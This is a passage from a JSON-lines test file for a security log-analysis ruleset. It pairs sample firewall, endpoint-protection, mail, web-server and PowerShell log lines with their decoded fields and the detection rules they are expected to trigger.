"3|PROGRAM_FILESX86|\\LANDesk\\LDClient\\LDdrives.exe", "ValidSig": "true", "Vendor": "Panda Security", "devTime": "2019-05-09 22:01:23.255825", "devTimeFormat": "yyyy-MM-dd HH:mm:ss.SSS", "domain": "NT AUTHORITY", "identHostName": "44_CCO_11", "identSrc": "10.255.44.11", "src": "10.255.44.11", "usrName": "SYSTEM"}, "field_names": ["Broken", "Cat", "Company", "DriveType", "EventID", "ExeType", "Hash", "HostName", "ImageType", "LEEFversion", "MUID", "MWName", "Op", "Path", "PrevLastDay", "Prevalence", "Product", "ProductVersion", "Severity", "TargetPath", "ValidSig", "Vendor", "devTime", "devTimeFormat", "domain", "identHostName", "identSrc", "src", "usrName"], "rule": "64202", "level": "4", "expected_decoder": "paps", "expected_rule": "64202", "rule_matches_expected": true, "ini_file": "panda_paps.ini", "section": "panda paps: low severity event detected"} +{"log": "LEEF:1.0|Panda Security|paps|02.47.00.0000|registrym|sev=5\tdevTime=2019-05-09 22:01:23.255825\tdevTimeFormat=yyyy-MM-dd HH:mm:ss.SSS\tusrName=SYSTEM\tdomain=NT AUTHORITY\tsrc=10.255.44.11\tidentSrc=10.255.44.11\tidentHostName=44_CCO_11\tHostName=44_CCO_11\tMUID=D877F2C4C4000A9BF39F1710CA787291\tOp=ModifyExeKey\tHash=F6494E7C35B6514A3AD74E27435F3141\tDriveType=Fixed\tPath=PROGRAM_FILESX86|\\LANDesk\\LDClient\\hips\\LDSecSvc64.EXE\tValidSig=true\tCompany=LANDESK Software, Inc. and its affiliates.\tBroken=false\tImageType=EXE 64\tExeType=Unknown\tPrevalence=Low\tPrevLastDay=Low\tCat=Goodware\tMWName=\tTargetPath=3|PROGRAM_FILESX86|\\LANDesk\\LDClient\\LDdrives.exe", "decoder": "paps", "parent": "", "fields": {"Broken": "false", "Cat": "Goodware", "Company": "LANDESK Software, Inc. and its affiliates.", "DriveType": "Fixed", "EventID": "registrym", "ExeType": "Unknown", "Hash": "F6494E7C35B6514A3AD74E27435F3141", "HostName": "44_CCO_11", "ImageType": "EXE 64", "LEEFversion": "1.0", "MUID": "D877F2C4C4000A9BF39F1710CA787291", "MWName": "\tTargetPath=3|PROGRAM_FILESX86|\\LANDesk\\LDClient\\LDdrives.exe", "Op": "ModifyExeKey", "Path": "PROGRAM_FILESX86|\\LANDesk\\LDClient\\hips\\LDSecSvc64.EXE", "PrevLastDay": "Low", "Prevalence": "Low", "Product": "paps", "ProductVersion": "02.47.00.0000", "Severity": "5", "TargetPath": "3|PROGRAM_FILESX86|\\LANDesk\\LDClient\\LDdrives.exe", "ValidSig": "true", "Vendor": "Panda Security", "devTime": "2019-05-09 22:01:23.255825", "devTimeFormat": "yyyy-MM-dd HH:mm:ss.SSS", "domain": "NT AUTHORITY", "identHostName": "44_CCO_11", "identSrc": "10.255.44.11", "src": "10.255.44.11", "usrName": "SYSTEM"}, "field_names": ["Broken", "Cat", "Company", "DriveType", "EventID", "ExeType", "Hash", "HostName", "ImageType", "LEEFversion", "MUID", "MWName", "Op", "Path", "PrevLastDay", "Prevalence", "Product", "ProductVersion", "Severity", "TargetPath", "ValidSig", "Vendor", "devTime", "devTimeFormat", "domain", "identHostName", "identSrc", "src", "usrName"], "rule": "64203", "level": "4", "expected_decoder": "paps", "expected_rule": "64203", "rule_matches_expected": true, "ini_file": "panda_paps.ini", "section": "panda paps: medium severity event detected"} +{"log": "LEEF:1.0|Panda Security|paps|02.47.00.0000|registrym|sev=7\tdevTime=2019-05-09 22:01:23.255825\tdevTimeFormat=yyyy-MM-dd HH:mm:ss.SSS\tusrName=SYSTEM\tdomain=NT AUTHORITY\tsrc=10.255.44.11\tidentSrc=10.255.44.11\tidentHostName=44_CCO_11\tHostName=44_CCO_11\tMUID=D877F2C4C4000A9BF39F1710CA787291\tOp=ModifyExeKey\tHash=F6494E7C35B6514A3AD74E27435F3141\tDriveType=Fixed\tPath=PROGRAM_FILESX86|\\LANDesk\\LDClient\\hips\\LDSecSvc64.EXE\tValidSig=true\tCompany=LANDESK Software, Inc. and its affiliates.\tBroken=true\tImageType=EXE 64\tExeType=Unknown\tPrevalence=Low\tPrevLastDay=Low\tCat=Goodware\tMWName=\tTargetPath=3|PROGRAM_FILESX86|\\LANDesk\\LDClient\\LDdrives.exe", "decoder": "paps", "parent": "", "fields": {"Broken": "true", "Cat": "Goodware", "Company": "LANDESK Software, Inc. and its affiliates.", "DriveType": "Fixed", "EventID": "registrym", "ExeType": "Unknown", "Hash": "F6494E7C35B6514A3AD74E27435F3141", "HostName": "44_CCO_11", "ImageType": "EXE 64", "LEEFversion": "1.0", "MUID": "D877F2C4C4000A9BF39F1710CA787291", "MWName": "\tTargetPath=3|PROGRAM_FILESX86|\\LANDesk\\LDClient\\LDdrives.exe", "Op": "ModifyExeKey", "Path": "PROGRAM_FILESX86|\\LANDesk\\LDClient\\hips\\LDSecSvc64.EXE", "PrevLastDay": "Low", "Prevalence": "Low", "Product": "paps", "ProductVersion": "02.47.00.0000", "Severity": "7", "TargetPath": "3|PROGRAM_FILESX86|\\LANDesk\\LDClient\\LDdrives.exe", "ValidSig": "true", "Vendor": "Panda Security", "devTime": "2019-05-09 22:01:23.255825", "devTimeFormat": "yyyy-MM-dd HH:mm:ss.SSS", "domain": "NT AUTHORITY", "identHostName": "44_CCO_11", "identSrc": "10.255.44.11", "src": "10.255.44.11", "usrName": "SYSTEM"}, "field_names": ["Broken", "Cat", "Company", "DriveType", "EventID", "ExeType", "Hash", "HostName", "ImageType", "LEEFversion", "MUID", "MWName", "Op", "Path", "PrevLastDay", "Prevalence", "Product", "ProductVersion", "Severity", "TargetPath", "ValidSig", "Vendor", "devTime", "devTimeFormat", "domain", "identHostName", "identSrc", "src", "usrName"], "rule": "64204", "level": "12", "expected_decoder": "paps", "expected_rule": "64204", "rule_matches_expected": true, "ini_file": "panda_paps.ini", "section": "panda paps: high severity event detected"} +{"log": "LEEF:1.0|Panda Security|paps|02.47.00.0000|registrym|sev=9\tdevTime=2019-05-09 22:01:23.255825\tdevTimeFormat=yyyy-MM-dd HH:mm:ss.SSS\tusrName=SYSTEM\tdomain=NT AUTHORITY\tsrc=10.255.44.11\tidentSrc=10.255.44.11\tidentHostName=44_CCO_11\tHostName=44_CCO_11\tMUID=D877F2C4C4000A9BF39F1710CA787291\tOp=ModifyExeKey\tHash=F6494E7C35B6514A3AD74E27435F3141\tDriveType=Fixed\tPath=PROGRAM_FILESX86|\\LANDesk\\LDClient\\hips\\LDSecSvc64.EXE\tValidSig=true\tCompany=LANDESK Software, Inc. and its affiliates.\tBroken=true\tImageType=EXE 64\tExeType=Unknown\tPrevalence=Low\tPrevLastDay=Low\tCat=Goodware\tMWName=\tTargetPath=3|PROGRAM_FILESX86|\\LANDesk\\LDClient\\LDdrives.exe", "decoder": "paps", "parent": "", "fields": {"Broken": "true", "Cat": "Goodware", "Company": "LANDESK Software, Inc. and its affiliates.", "DriveType": "Fixed", "EventID": "registrym", "ExeType": "Unknown", "Hash": "F6494E7C35B6514A3AD74E27435F3141", "HostName": "44_CCO_11", "ImageType": "EXE 64", "LEEFversion": "1.0", "MUID": "D877F2C4C4000A9BF39F1710CA787291", "MWName": "\tTargetPath=3|PROGRAM_FILESX86|\\LANDesk\\LDClient\\LDdrives.exe", "Op": "ModifyExeKey", "Path": "PROGRAM_FILESX86|\\LANDesk\\LDClient\\hips\\LDSecSvc64.EXE", "PrevLastDay": "Low", "Prevalence": "Low", "Product": "paps", "ProductVersion": "02.47.00.0000", "Severity": "9", "TargetPath": "3|PROGRAM_FILESX86|\\LANDesk\\LDClient\\LDdrives.exe", "ValidSig": "true", "Vendor": "Panda Security", "devTime": "2019-05-09 22:01:23.255825", "devTimeFormat": "yyyy-MM-dd HH:mm:ss.SSS", "domain": "NT AUTHORITY", "identHostName": "44_CCO_11", "identSrc": "10.255.44.11", "src": "10.255.44.11", "usrName": "SYSTEM"}, "field_names": ["Broken", "Cat", "Company", "DriveType", "EventID", "ExeType", "Hash", "HostName", "ImageType", "LEEFversion", "MUID", "MWName", "Op", "Path", "PrevLastDay", "Prevalence", "Product", "ProductVersion", "Severity", "TargetPath", "ValidSig", "Vendor", "devTime", "devTimeFormat", "domain", "identHostName", "identSrc", "src", "usrName"], "rule": "64205", "level": "14", "expected_decoder": "paps", "expected_rule": "64205", "rule_matches_expected": true, "ini_file": "panda_paps.ini", "section": "panda paps: very high severity event detected"} +{"log": "LEEF:1.0|Panda Security|paps|02.47.00.0000|exec|sev=1\tdevTime=2019-05-09 22:07:36.130735\tdevTimeFormat=yyyy-MM-dd HH:mm:ss.SSS\tusrName=hsmartin\tdomain=PROSAMX\tsrc=10.255.16.21\tidentSrc=10.255.16.21\tidentHostName=16_2470_21\tHostName=16_2470_21\tMUID=577C98BB9DC2523C1AEDE584FCAF1615\tOp=Exec\tParentHash=7E160844D950765356C84BCBCFBF1DEE\tParentDriveType=Fixed\tParentPath=PROGRAM_FILESX86|\\Google\\Chrome\\Application\\chrome.exe\tParentValidSig=true\tParentCompany=Google Inc.\tParentBroken=false\tParentImageType=EXE 64\tParentExeType=Unknown\tParentPrevalence=High\tParentPrevLastDay=Low\tParentCat=Goodware\tParentMWName=\tChildHash=7E160844D950765356C84BCBCFBF1DEE\tChildDriveType=Fixed\tChildPath=PROGRAM_FILESX86|\\Google\\Chrome\\Application\\chrome.exe\tChildValidSig=true\tChildCompany=Google Inc.\tChildBroken=true\tChildImageType=EXE 64\tChildExeType=Unknown\tChildPrevalence=High\tChildPrevLastDay=Low\tChildCat=Goodware\tChildMWName=\tOCS_Exec=true\tOCS_Name=Google Chrome\tOCS_Version=71.0.3578.80\tParams=\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" --type\\=renderer --field-trial-handle\\=1716,6504423765877186287,9579056321151338165,131072 --service-pipe-token\\=11343697476573359606 --lang\\=es --extension-process --enable-offline-auto-reload --enable-offline-auto-reload-visible-only --device-scale-factor\\=1 --num-raster-threads\\=4 --enable-main-frame-before-activation --service-request-channel-token\\=11343697476573359606 --renderer-client-id\\=629 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle\\=17588 /prefetch:1\tToastResult=\tAction=Allow\tServiceLevel=Learning\tWinningTech=Cloud\tDetId=0", "decoder": "paps", "parent": "", "fields": {"Action": "Allow", "Broken": "false", "Cat": "Goodware", "ChildBroken": "true", "ChildCat": "Goodware", "ChildCompany": "Google Inc.", "ChildDriveType": "Fixed", "ChildExeType": "Unknown", "ChildHash": "7E160844D950765356C84BCBCFBF1DEE", "ChildImageType": "EXE 64", "ChildPath": "PROGRAM_FILESX86|\\Google\\Chrome\\Application\\chrome.exe", "ChildPrevLastDay": "Low", "ChildPrevalence": "High", "ChildValidSig": "true", "Company": "Google Inc.", "DetId": "0", "DriveType": "Fixed", "EventID": "exec", "ExeType": "Unknown", "Hash": "7E160844D950765356C84BCBCFBF1DEE", "HostName": "16_2470_21", "ImageType": "EXE 64", "LEEFversion": "1.0", "MUID": "577C98BB9DC2523C1AEDE584FCAF1615", "MWName": "\tChildHash=7E160844D950765356C84BCBCFBF1DEE", "OCS_Exec": "true", "OCS_Name": "Google Chrome", "OCS_Version": "71.0.3578.80", "Op": "Exec", "Params": "\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" --type\\=renderer --field-trial-handle\\=1716,6504423765877186287,9579056321151338165,131072 --service-pipe-token\\=11343697476573359606 --lang\\=es --extension-process --enable-offline-auto-reload --enable-offline-auto-reload-visible-only --device-scale-factor\\=1 --num-raster-threads\\=4 --enable-main-frame-before-activation --service-request-channel-token\\=11343697476573359606 --renderer-client-id\\=629 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle\\=17588 /prefetch:1", "ParentBroken": "false", "ParentCat": "Goodware", "ParentCompany": "Google Inc.", "ParentDriveType": "Fixed", "ParentExeType": "Unknown", "ParentHash": "7E160844D950765356C84BCBCFBF1DEE", "ParentImageType": "EXE 64", "ParentPath": "PROGRAM_FILESX86|\\Google\\Chrome\\Application\\chrome.exe", "ParentPrevLastDay": "Low", "ParentPrevalence": "High", "ParentValidSig": "true", "Path": "PROGRAM_FILESX86|\\Google\\Chrome\\Application\\chrome.exe", "PrevLastDay": "Low", "Prevalence": "High", "Product": "paps", "ProductVersion": "02.47.00.0000", "ServiceLevel": "Learning", "Severity": "1", "ValidSig": "true", "Vendor": "Panda Security", "WinningTech": "Cloud", "devTime": "2019-05-09 22:07:36.130735", "devTimeFormat": "yyyy-MM-dd HH:mm:ss.SSS", "domain": "PROSAMX", "identHostName": "16_2470_21", "identSrc": "10.255.16.21", "src": "10.255.16.21", "usrName": "hsmartin"}, "field_names": ["Action", "Broken", "Cat", "ChildBroken", "ChildCat", "ChildCompany", "ChildDriveType", "ChildExeType", "ChildHash", "ChildImageType", "ChildPath", "ChildPrevLastDay", "ChildPrevalence", "ChildValidSig", "Company", "DetId", "DriveType", "EventID", "ExeType", "Hash", "HostName", "ImageType", "LEEFversion", "MUID", "MWName", "OCS_Exec", "OCS_Name", "OCS_Version", "Op", "Params", "ParentBroken", "ParentCat", "ParentCompany", "ParentDriveType", "ParentExeType", "ParentHash", "ParentImageType", "ParentPath", "ParentPrevLastDay", "ParentPrevalence", "ParentValidSig", "Path", "PrevLastDay", "Prevalence", "Product", "ProductVersion", "ServiceLevel", "Severity", "ValidSig", "Vendor", "WinningTech", "devTime", "devTimeFormat", "domain", "identHostName", "identSrc", "src", "usrName"], "rule": "64206", "level": "7", "expected_decoder": "paps", "expected_rule": "64206", "rule_matches_expected": true, "ini_file": "panda_paps.ini", "section": "panda paps: the child process is corrupted or defective"} +{"log": "LEEF:1.0|Panda Security|paps|02.47.00.0000|createdir|sev=1\tdevTime=2019-05-09 21:59:51.410364\tdevTimeFormat=yyyy-MM-dd HH:mm:ss.SSS\tusrName=SYSTEM\tdomain=NT AUTHORITY\tsrc=10.255.16.21\tidentSrc=10.255.16.21\tidentHostName=16_2470_21\tHostName=16_2470_21\tMUID=577C98BB9DC2523C1AEDE584FCAF1615\tOp=CreateDir\tParentHash=C05A19A38D7D203B738771FD1854656F\tParentDriveType=Fixed\tParentPath=SYSTEM|\\spoolsv.exe\tParentValidSig=\tParentCompany=Microsoft Corporation\tParentBroken=true\tParentImageType=EXE 64\tParentExeType=Unknown\tParentPrevalence=High\tParentPrevLastDay=Low\tParentCat=Goodware\tParentMWName=\tChildHash=\tChildDriveType=Fixed\tChildPath=SYSTEM|\\spool\\V4Dirs\\5F1D9A23-55FC-420A-84EC-E78F46C362E2\tChildValidSig=\tChildCompany=\tChildBroken=\tChildImageType=\tChildExeType=\tChildPrevalence=\tChildPrevLastDay=\tChildCat=Unknown\tChildMWName=\tOCS_Exec=false\tOCS_Name=\tOCS_Version=\tParams=\tToastResult=\tAction=Allow\tServiceLevel=Learning\tWinningTech=Unknown\tDetId=0", "decoder": "paps", "parent": "", "fields": {"Action": "Allow", "Broken": "true", "Cat": "Goodware", "ChildCat": "Unknown", "ChildDriveType": "Fixed", "ChildPath": "SYSTEM|\\spool\\V4Dirs\\5F1D9A23-55FC-420A-84EC-E78F46C362E2", "Company": "Microsoft Corporation", "DetId": "0", "DriveType": "Fixed", "EventID": "createdir", "ExeType": "Unknown", "Hash": "C05A19A38D7D203B738771FD1854656F", "HostName": "16_2470_21", "ImageType": "EXE 64", "LEEFversion": "1.0", "MUID": "577C98BB9DC2523C1AEDE584FCAF1615", "MWName": "\tChildHash=", "OCS_Exec": "false", "Op": "CreateDir", "ParentBroken": "true", "ParentCat": "Goodware", "ParentCompany": "Microsoft Corporation", "ParentDriveType": "Fixed", "ParentExeType": "Unknown", "ParentHash": "C05A19A38D7D203B738771FD1854656F", "ParentImageType": "EXE 64", "ParentPath": "SYSTEM|\\spoolsv.exe", "ParentPrevLastDay": "Low", "ParentPrevalence": "High", "Path": "SYSTEM|\\spoolsv.exe", "PrevLastDay": "Low", "Prevalence": "High", "Product": "paps", "ProductVersion": "02.47.00.0000", "ServiceLevel": "Learning", "Severity": "1", "Vendor": "Panda Security", "WinningTech": "Unknown", "devTime": "2019-05-09 21:59:51.410364", "devTimeFormat": "yyyy-MM-dd HH:mm:ss.SSS", "domain": "NT AUTHORITY", "identHostName": "16_2470_21", "identSrc": "10.255.16.21", "src": "10.255.16.21", "usrName": "SYSTEM"}, "field_names": ["Action", "Broken", "Cat", "ChildCat", "ChildDriveType", "ChildPath", "Company", "DetId", "DriveType", "EventID", "ExeType", "Hash", "HostName", "ImageType", "LEEFversion", "MUID", "MWName", "OCS_Exec", "Op", "ParentBroken", "ParentCat", "ParentCompany", "ParentDriveType", "ParentExeType", "ParentHash", "ParentImageType", "ParentPath", "ParentPrevLastDay", "ParentPrevalence", "Path", "PrevLastDay", "Prevalence", "Product", "ProductVersion", "ServiceLevel", "Severity", "Vendor", "WinningTech", "devTime", "devTimeFormat", "domain", "identHostName", "identSrc", "src", "usrName"], "rule": "64207", "level": "7", "expected_decoder": "paps", "expected_rule": "64207", "rule_matches_expected": true, "ini_file": "panda_paps.ini", "section": "panda paps: the parent process is corrupted or defective"} +{"log": "LEEF:1.0|Panda Security|paps|02.47.00.0000|registrym|sev=1\tdevTime=2019-05-09 22:01:23.255825\tdevTimeFormat=yyyy-MM-dd HH:mm:ss.SSS\tusrName=SYSTEM\tdomain=NT AUTHORITY\tsrc=10.255.44.11\tidentSrc=10.255.44.11\tidentHostName=44_CCO_11\tHostName=44_CCO_11\tMUID=D877F2C4C4000A9BF39F1710CA787291\tOp=ModifyExeKey\tHash=F6494E7C35B6514A3AD74E27435F3141\tDriveType=Fixed\tPath=PROGRAM_FILESX86|\\LANDesk\\LDClient\\hips\\LDSecSvc64.EXE\tValidSig=true\tCompany=LANDESK Software, Inc. and its affiliates.\tBroken=true\tImageType=EXE 64\tExeType=Unknown\tPrevalence=Low\tPrevLastDay=Low\tCat=Goodware\tMWName=\tTargetPath=3|PROGRAM_FILESX86|\\LANDesk\\LDClient\\LDdrives.exe", "decoder": "paps", "parent": "", "fields": {"Broken": "true", "Cat": "Goodware", "Company": "LANDESK Software, Inc. and its affiliates.", "DriveType": "Fixed", "EventID": "registrym", "ExeType": "Unknown", "Hash": "F6494E7C35B6514A3AD74E27435F3141", "HostName": "44_CCO_11", "ImageType": "EXE 64", "LEEFversion": "1.0", "MUID": "D877F2C4C4000A9BF39F1710CA787291", "MWName": "\tTargetPath=3|PROGRAM_FILESX86|\\LANDesk\\LDClient\\LDdrives.exe", "Op": "ModifyExeKey", "Path": "PROGRAM_FILESX86|\\LANDesk\\LDClient\\hips\\LDSecSvc64.EXE", "PrevLastDay": "Low", "Prevalence": "Low", "Product": "paps", "ProductVersion": "02.47.00.0000", "Severity": "1", "TargetPath": "3|PROGRAM_FILESX86|\\LANDesk\\LDClient\\LDdrives.exe", "ValidSig": "true", "Vendor": "Panda Security", "devTime": "2019-05-09 22:01:23.255825", "devTimeFormat": "yyyy-MM-dd HH:mm:ss.SSS", "domain": "NT AUTHORITY", "identHostName": "44_CCO_11", "identSrc": "10.255.44.11", "src": "10.255.44.11", "usrName": "SYSTEM"}, "field_names": ["Broken", "Cat", "Company", "DriveType", "EventID", "ExeType", "Hash", "HostName", "ImageType", "LEEFversion", "MUID", "MWName", "Op", "Path", "PrevLastDay", "Prevalence", "Product", "ProductVersion", "Severity", "TargetPath", "ValidSig", "Vendor", "devTime", "devTimeFormat", "domain", "identHostName", "identSrc", "src", "usrName"], "rule": "64208", "level": "7", "expected_decoder": "paps", "expected_rule": "64208", "rule_matches_expected": true, "ini_file": "panda_paps.ini", "section": "panda paps: a file is corrupted or defective"} +{"log": "Jan 22 18:34:00 filterlog: 65,,,0,vmx1,match,pass,out,4,0x0,,63,21011,0,none,1,icmp,56,192.168.105.11,192.168.105.1,datalength=36", "decoder": "pf", "parent": "", "fields": {"action": "pass", "dstip": "192.168.105.1", "id": "0", "length": "36", "protocol": "icmp", "srcip": "192.168.105.11"}, "field_names": ["action", "dstip", "id", "length", "protocol", "srcip"], "rule": "87700", "level": "0", "expected_decoder": "pf", "expected_rule": "87700", "rule_matches_expected": true, "ini_file": "pfsense.ini", "section": "pfSense firewall: generic"} +{"log": "Nov 8 12:37:34 pfSense filterlog: 5,,,1000102433,em0,match,block,in,4,0x0,,128,24677,0,none,17,udp,186,10.9.0.119,10.9.0.255,17500,17600,166", "decoder": "pf", "parent": "", "fields": {"action": "block", "dstip": "10.9.0.255", "dstport": "17600", "id": "1000102433", "length": "166", "protocol": "udp", "srcip": "10.9.0.119", "srcport": "17500"}, "field_names": ["action", "dstip", "dstport", "id", "length", "protocol", "srcip", "srcport"], "rule": "87701", "level": "5", "expected_decoder": "pf", "expected_rule": "87701", "rule_matches_expected": true, "ini_file": "pfsense.ini", "section": "pfSense firewall: drop event"} +{"log": "2014/12/30 06:07:37 [error] PHP Warning: urlencode() expects parameter 1 to be string, array given in", "decoder": "nginx-errorlog", "parent": "", "fields": {}, "field_names": [], "rule": "31411", "level": "6", "expected_decoder": "nginx-errorlog", "expected_rule": "31411", "rule_matches_expected": true, "ini_file": "php.ini", "section": "PHP web attack."} +{"log": "2014/12/30 06:07:37 [error] PHP Fatal error: require_once() [function.require]: Failed opening required 'includes/SkinTemplate.php'", "decoder": "nginx-errorlog", "parent": "", "fields": {}, "field_names": [], "rule": "31421", "level": "5", "expected_decoder": "nginx-errorlog", "expected_rule": "31421", "rule_matches_expected": true, "ini_file": "php.ini", "section": "PHP internal error (missing file or function)."} +{"log": "%PIX-3-710003: TCP access denied by ACL from 216.39.220.130/54065 to outside:62.192.113.98/ssh", "decoder": "pix", "parent": "pix", "fields": {"action": "denied", "dstip": "62.192.113.98", "dstport": "ssh", "id": "3-710003", "protocol": "TCP", "srcip": "216.39.220.130", "srcport": "54065"}, "field_names": ["action", "dstip", "dstport", "id", "protocol", "srcip", "srcport"], "rule": "4312", "level": "4", "expected_decoder": "pix", "expected_rule": "4312", "rule_matches_expected": true, "ini_file": "pix.ini", "section": "PIX1"} +{"log": "%PIX-3-106010: Deny inbound tcp src outside:213.98.79.233/2620 dst dmz:213.98.254.145/135", "decoder": "pix", "parent": "pix", "fields": {"action": "Deny", "dstip": "213.98.254.145", "dstport": "135", "id": "3-106010", "protocol": "tcp", "srcip": "213.98.79.233", "srcport": "2620"}, "field_names": ["action", "dstip", "dstport", "id", "protocol", "srcip", "srcport"], "rule": "4312", "level": "4", "expected_decoder": "pix", "expected_rule": "4312", "rule_matches_expected": true, "ini_file": "pix.ini", "section": "PIX1"} +{"log": "%PIX-7-710002: UDP access permitted from 33.33.33.4/943 to inside:33.33.33.15/snmp", "decoder": "pix", "parent": "pix", "fields": {}, "field_names": [], "rule": "4300", "level": "0", "expected_decoder": "pix", "expected_rule": "4300", "rule_matches_expected": true, "ini_file": "pix.ini", "section": "PIX3"} +{"log": "%PIX-7-710005: UDP request discarded from /4500 to outside:192.168.69.137/4500", "decoder": "pix", "parent": "pix", "fields": {}, "field_names": [], "rule": "4300", "level": "0", "expected_decoder": "pix", "expected_rule": "4300", "rule_matches_expected": true, "ini_file": "pix.ini", "section": "PIX3"} +{"log": "%PIX-7-710002: TCP access permitted from 10.0.0.1/60749 to db:10.0.0.2/ssh", "decoder": "pix", "parent": "pix", "fields": {}, "field_names": [], "rule": "4300", "level": "0", "expected_decoder": "pix", "expected_rule": "4300", "rule_matches_expected": true, "ini_file": "pix.ini", "section": "PIX3"} +{"log": "%PIX-6-106015: Deny TCP (no connection) from 161.58.238.151/110 to a.b.c.d/3782 flags RST ACK", "decoder": "pix", "parent": "pix", "fields": {}, "field_names": [], "rule": "4300", "level": "0", "expected_decoder": "pix", "expected_rule": "4300", "rule_matches_expected": true, "ini_file": "pix.ini", "section": "PIX3"} +{"log": "%PIX-3-106011: Deny inbound (No xlate) udp src outside:192.168.2.1/137", "decoder": "pix", "parent": "pix", "fields": {}, "field_names": [], "rule": "4300", "level": "0", "expected_decoder": "pix", "expected_rule": "4300", "rule_matches_expected": true, "ini_file": "pix.ini", "section": "PIX3"} +{"log": "%PIX-3-106011: Deny inbound (No xlate) tcp src inside:10.100.7.43/80 dst", "decoder": "pix", "parent": "pix", "fields": {}, "field_names": [], "rule": "4300", "level": "0", "expected_decoder": "pix", "expected_rule": "4300", "rule_matches_expected": true, "ini_file": "pix.ini", "section": "PIX3"} +{"log": "%PIX-4-106023: Deny tcp src inside:111.11.11.1/2143 dst YYY:172.11.1.11/139 by access-group \"inside_inbound\"", "decoder": "pix", "parent": "pix", "fields": {"action": "Deny", "dstip": "172.11.1.11", "dstport": "139", "id": "4-106023", "protocol": "tcp", "srcip": "111.11.11.1", "srcport": "2143"}, "field_names": ["action", "dstip", "dstport", "id", "protocol", "srcip", "srcport"], "rule": "4313", "level": "4", "expected_decoder": "pix", "expected_rule": "4313", "rule_matches_expected": true, "ini_file": "pix.ini", "section": "PIX5"} +{"log": "%PIX-2-106006: Deny inbound UDP from ***/20031 to ***/20031 on", "decoder": "pix", "parent": "pix", "fields": {"action": "Deny", "dstip": "***", "dstport": "20031", "id": "2-106006", "protocol": "UDP", "srcip": "***", "srcport": "20031"}, "field_names": ["action", "dstip", "dstport", "id", "protocol", "srcip", "srcport"], "rule": "4311", "level": "5", "expected_decoder": "pix", "expected_rule": "4311", "rule_matches_expected": true, "ini_file": "pix.ini", "section": "PIX6"} +{"log": "%PIX-2-106001: Inbound TCP connection denied from 165.139.46.7/3854 to 165.189.27.70/139 flags", "decoder": "pix", "parent": "pix", "fields": {"action": "denied", "dstip": "165.189.27.70", "dstport": "139", "id": "2-106001", "protocol": "TCP", "srcip": "165.139.46.7", "srcport": "3854"}, "field_names": ["action", "dstip", "dstport", "id", "protocol", "srcip", "srcport"], "rule": "4311", "level": "5", "expected_decoder": "pix", "expected_rule": "4311", "rule_matches_expected": true, "ini_file": "pix.ini", "section": "PIX6"} +{"log": "%PIX-6-305012: Teardown dynamic UDP translation from inside:1.1.1.1/12 to outside:1.2.1.2/11 duration 0:00:11.", "decoder": "pix", "parent": "pix", "fields": {"action": "Teardown", "dstip": "1.2.1.2", "dstport": "11", "id": "6-305012", "protocol": "UDP", "srcip": "1.1.1.1", "srcport": "12"}, "field_names": ["action", "dstip", "dstport", "id", "protocol", "srcip", "srcport"], "rule": "4314", "level": "0", "expected_decoder": "pix", "expected_rule": "4314", "rule_matches_expected": true, "ini_file": "pix.ini", "section": "PIX8"} +{"log": "May 8 08:26:55 mail postfix/postscreen[22055]: NOQUEUE: reject: RCPT from [157.122.148.242]:47407: 9999 text ...", "decoder": "postfix-reject", "parent": "postfix", "fields": {"id": "9999", "srcip": "157.122.148.242"}, "field_names": ["id", "srcip"], "rule": "3300", "level": "0", "expected_decoder": "postfix-reject", "expected_rule": "3300", "rule_matches_expected": true, "ini_file": "postfix.ini", "section": "reject rcpt"} +{"log": "May 8 08:26:55 mail postfix/postscreen[22055]: NOQUEUE: reject: RCPT from [157.122.148.242]:47407: 550 5.7.1 Service unavailable; client [157.122.148.242] blocked using bl.spamcop.net; f$", "decoder": "postfix-reject", "parent": "postfix", "fields": {"id": "550", "srcip": "157.122.148.242"}, "field_names": ["id", "srcip"], "rule": "3306", "level": "6", "expected_decoder": "postfix-reject", "expected_rule": "3306", "rule_matches_expected": true, "ini_file": "postfix.ini", "section": "reject rcpt2"} +{"log": "{\"win\":{\"eventdata\":{\"path\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\TransbaseOdbcDriver\\\\\\\\LanCradDriver.ps1\",\"messageNumber\":\"1\",\"messageTotal\":\"1\",\"scriptBlockText\":\"Get-ItemProperty -Path C:\\\\\",\"scriptBlockId\":\"95af64d2-0002-4dd7-a150-d3dad1009afa\"},\"system\":{\"eventID\":\"4104\",\"keywords\":\"0x0\",\"providerGuid\":\"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\",\"level\":\"3\",\"channel\":\"Microsoft-Windows-PowerShell/Operational\",\"opcode\":\"15\",\"message\":\"Get-ItemProperty -Path C:\\\\\",\"version\":\"1\",\"systemTime\":\"2021-08-13T22:21:37.5045856Z\",\"eventRecordID\":\"96584\",\"threadID\":\"7128\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"2\",\"processID\":\"904\",\"severityValue\":\"WARNING\",\"providerName\":\"Microsoft-Windows-PowerShell\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "1", "win.eventdata.messageTotal": "1", "win.eventdata.path": "C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\LanCradDriver.ps1", "win.eventdata.scriptBlockId": "95af64d2-0002-4dd7-a150-d3dad1009afa", "win.eventdata.scriptBlockText": "Get-ItemProperty -Path C:\\", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "4104", "win.system.eventRecordID": "96584", "win.system.keywords": "0x0", "win.system.level": "3", "win.system.message": "Get-ItemProperty -Path C:\\", "win.system.opcode": "15", "win.system.processID": "904", "win.system.providerGuid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "WARNING", "win.system.systemTime": "2021-08-13T22:21:37.5045856Z", "win.system.task": "2", "win.system.threadID": "7128", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.path", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.message", "win.system.opcode", "win.system.processID", "win.system.providerGuid", 